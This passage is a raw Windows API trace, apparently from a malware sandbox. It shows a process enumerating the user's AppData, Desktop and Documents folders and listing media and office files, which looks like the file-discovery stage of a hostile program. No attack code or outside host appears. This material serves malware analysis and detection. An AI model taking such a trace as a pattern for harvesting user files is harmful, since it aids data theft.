returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b87c360, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x7cf8d6d0, ftLastAccessTime.dwHighDateTime=0x1d4d118, ftLastWriteTime.dwLowDateTime=0x7cf8d6d0, ftLastWriteTime.dwHighDateTime=0x1d4d118, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jDCuGCvpf1uArI", cAlternateFileName="JDCUGC~1")) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1acb2180, ftCreationTime.dwHighDateTime=0x1d4c753, ftLastAccessTime.dwLowDateTime=0xaad9ca0, ftLastAccessTime.dwHighDateTime=0x1d4c817, ftLastWriteTime.dwLowDateTime=0xaad9ca0, ftLastWriteTime.dwHighDateTime=0x1d4c817, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TtcUW", cAlternateFileName="")) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a363ce0, ftCreationTime.dwHighDateTime=0x1d4d109, ftLastAccessTime.dwLowDateTime=0x57c095a0, ftLastAccessTime.dwHighDateTime=0x1d4d49d, ftLastWriteTime.dwLowDateTime=0x57c095a0, ftLastWriteTime.dwHighDateTime=0x1d4d49d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VAl2x_eF9QxFAJr5rV", cAlternateFileName="VAL2X_~1")) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a363ce0, ftCreationTime.dwHighDateTime=0x1d4d109, ftLastAccessTime.dwLowDateTime=0x57c095a0, ftLastAccessTime.dwHighDateTime=0x1d4d49d, ftLastWriteTime.dwLowDateTime=0x57c095a0, ftLastWriteTime.dwHighDateTime=0x1d4d49d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VAl2x_eF9QxFAJr5rV", cAlternateFileName="VAL2X_~1")) returned 0 [0119.779] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.779] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde588 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095800 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde4d8 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095798 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095a08 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095a70 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095ad8 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde8f8 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095b40 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde9a8 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095ba8 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdea00 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095c10 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdea58 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdeab0 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095868 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde530 | out: hHeap=0x5e0000) returned 1 [0119.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093da8 | out: hHeap=0x5e0000) returned 1 [0119.780] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.780] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.780] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.780] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.780] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.781] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.781] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.781] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.781] PathFindFileNameW (pszPath="") returned="" [0119.781] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.781] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30185d8 | out: hHeap=0x5e0000) returned 1 [0119.781] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.781] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0119.781] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0119.781] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0119.781] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0119.781] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.781] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.781] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0119.781] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.781] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.781] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\") returned="xwoxab1ONVdFr-x7cTy\\" [0119.781] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0119.782] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.782] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.782] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.782] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.782] PathFindFileNameW (pszPath="") returned="" [0119.782] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dec1310, ftCreationTime.dwHighDateTime=0x1d4d58f, ftLastAccessTime.dwLowDateTime=0xafba5f40, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xafba5f40, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.785] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0119.785] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dec1310, ftCreationTime.dwHighDateTime=0x1d4d58f, ftLastAccessTime.dwLowDateTime=0xafba5f40, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xafba5f40, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.785] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a1c370, ftCreationTime.dwHighDateTime=0x1d4c72d, ftLastAccessTime.dwLowDateTime=0x411acde0, ftLastAccessTime.dwHighDateTime=0x1d4d2bb, ftLastWriteTime.dwLowDateTime=0x411acde0, ftLastWriteTime.dwHighDateTime=0x1d4d2bb, nFileSizeHigh=0x0, nFileSizeLow=0xd69, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bewfSQ65DCd3I.mkv", cAlternateFileName="BEWFSQ~1.MKV")) returned 1 [0119.785] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aa77770, ftCreationTime.dwHighDateTime=0x1d4d1b4, ftLastAccessTime.dwLowDateTime=0x4b651780, ftLastAccessTime.dwHighDateTime=0x1d4c88c, ftLastWriteTime.dwLowDateTime=0x4b651780, ftLastWriteTime.dwHighDateTime=0x1d4c88c, nFileSizeHigh=0x0, nFileSizeLow=0x17138, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BgXRSx7UFqKOmFFcD3.avi", cAlternateFileName="BGXRSX~1.AVI")) returned 1 [0119.785] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b91f200, ftCreationTime.dwHighDateTime=0x1d4c56c, ftLastAccessTime.dwLowDateTime=0x7c8e9b30, ftLastAccessTime.dwHighDateTime=0x1d4d087, ftLastWriteTime.dwLowDateTime=0x7c8e9b30, ftLastWriteTime.dwHighDateTime=0x1d4d087, nFileSizeHigh=0x0, nFileSizeLow=0xcd68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E6tpFg5YUih.mkv", cAlternateFileName="E6TPFG~1.MKV")) returned 1 [0119.785] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf283d140, ftCreationTime.dwHighDateTime=0x1d4cbf8, ftLastAccessTime.dwLowDateTime=0x8da81c20, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x8da81c20, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x152e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nUY4nxCO FfN6j.gif", cAlternateFileName="NUY4NX~1.GIF")) returned 1 [0119.785] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fe02130, ftCreationTime.dwHighDateTime=0x1d4c9d8, ftLastAccessTime.dwLowDateTime=0x5175f9d0, ftLastAccessTime.dwHighDateTime=0x1d4ccda, ftLastWriteTime.dwLowDateTime=0x5175f9d0, ftLastWriteTime.dwHighDateTime=0x1d4ccda, nFileSizeHigh=0x0, nFileSizeLow=0x1d2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uU1kKYvSH0B.flv", cAlternateFileName="UU1KKY~1.FLV")) returned 1 [0119.785] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924e3a0, ftCreationTime.dwHighDateTime=0x1d4cba2, ftLastAccessTime.dwLowDateTime=0xc35e3830, ftLastAccessTime.dwHighDateTime=0x1d4c750, ftLastWriteTime.dwLowDateTime=0xc35e3830, ftLastWriteTime.dwHighDateTime=0x1d4c750, nFileSizeHigh=0x0, nFileSizeLow=0x10039, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X SffuOAF0TL.avi", cAlternateFileName="XSFFUO~1.AVI")) returned 1 [0119.785] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924e3a0, ftCreationTime.dwHighDateTime=0x1d4cba2, ftLastAccessTime.dwLowDateTime=0xc35e3830, ftLastAccessTime.dwHighDateTime=0x1d4c750, ftLastWriteTime.dwLowDateTime=0xc35e3830, ftLastWriteTime.dwHighDateTime=0x1d4c750, nFileSizeHigh=0x0, nFileSizeLow=0x10039, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X SffuOAF0TL.avi", cAlternateFileName="XSFFUO~1.AVI")) returned 0 [0119.785] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.786] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.786] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0119.786] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.786] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\") returned="BZeNr_asZgOghC\\" [0119.786] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0119.786] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.787] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.787] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.787] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.787] PathFindFileNameW (pszPath="") returned="" [0119.787] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea720a0, ftCreationTime.dwHighDateTime=0x1d4d2e0, ftLastAccessTime.dwLowDateTime=0xe4ca9fe0, ftLastAccessTime.dwHighDateTime=0x1d4d317, ftLastWriteTime.dwLowDateTime=0xe4ca9fe0, ftLastWriteTime.dwHighDateTime=0x1d4d317, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.789] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0119.789] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea720a0, ftCreationTime.dwHighDateTime=0x1d4d2e0, ftLastAccessTime.dwLowDateTime=0xe4ca9fe0, ftLastAccessTime.dwHighDateTime=0x1d4d317, ftLastWriteTime.dwLowDateTime=0xe4ca9fe0, ftLastWriteTime.dwHighDateTime=0x1d4d317, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.789] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473fbf70, ftCreationTime.dwHighDateTime=0x1d4c94a, ftLastAccessTime.dwLowDateTime=0x320c6a00, ftLastAccessTime.dwHighDateTime=0x1d4cf98, ftLastWriteTime.dwLowDateTime=0x320c6a00, ftLastWriteTime.dwHighDateTime=0x1d4cf98, nFileSizeHigh=0x0, nFileSizeLow=0x16ab1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2ZMRkOD2Lz_.xls", cAlternateFileName="2ZMRKO~1.XLS")) returned 1 [0119.789] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81611d0, ftCreationTime.dwHighDateTime=0x1d4c6ca, ftLastAccessTime.dwLowDateTime=0xe5f0f7a0, ftLastAccessTime.dwHighDateTime=0x1d4cbe9, ftLastWriteTime.dwLowDateTime=0xe5f0f7a0, ftLastWriteTime.dwHighDateTime=0x1d4cbe9, nFileSizeHigh=0x0, nFileSizeLow=0x12be0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9hdqtzw Z.xlsx", cAlternateFileName="9HDQTZ~1.XLS")) returned 1 [0119.789] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c6e110, ftCreationTime.dwHighDateTime=0x1d4d57f, ftLastAccessTime.dwLowDateTime=0x1ea0e5f0, ftLastAccessTime.dwHighDateTime=0x1d4cd17, ftLastWriteTime.dwLowDateTime=0x1ea0e5f0, ftLastWriteTime.dwHighDateTime=0x1d4cd17, nFileSizeHigh=0x0, nFileSizeLow=0x8bf2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eJ7XqPBACiw50mT5S.ppt", cAlternateFileName="EJ7XQP~1.PPT")) returned 1 [0119.789] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb134a2f0, ftCreationTime.dwHighDateTime=0x1d4cac2, ftLastAccessTime.dwLowDateTime=0x2388a370, ftLastAccessTime.dwHighDateTime=0x1d4cea5, ftLastWriteTime.dwLowDateTime=0x2388a370, ftLastWriteTime.dwHighDateTime=0x1d4cea5, nFileSizeHigh=0x0, nFileSizeLow=0x16891, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f9wy.ppt", cAlternateFileName="")) returned 1 [0119.789] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qIBuq", cAlternateFileName="")) returned 1 [0119.789] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qIBuq", cAlternateFileName="")) returned 0 [0119.789] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.790] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.790] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.790] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0119.790] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.790] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.790] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.790] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.790] PathFindFileNameW (pszPath="") returned="" [0119.790] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7421420, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x26b8a880, ftLastAccessTime.dwHighDateTime=0x1d4c764, ftLastWriteTime.dwLowDateTime=0x26b8a880, ftLastWriteTime.dwHighDateTime=0x1d4c764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qIBuq", cAlternateFileName="")) returned 0xffffffff [0119.790] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30185d8 | out: hHeap=0x5e0000) returned 1 [0119.790] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.790] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.790] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0119.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0119.791] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.791] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.791] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.791] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.791] 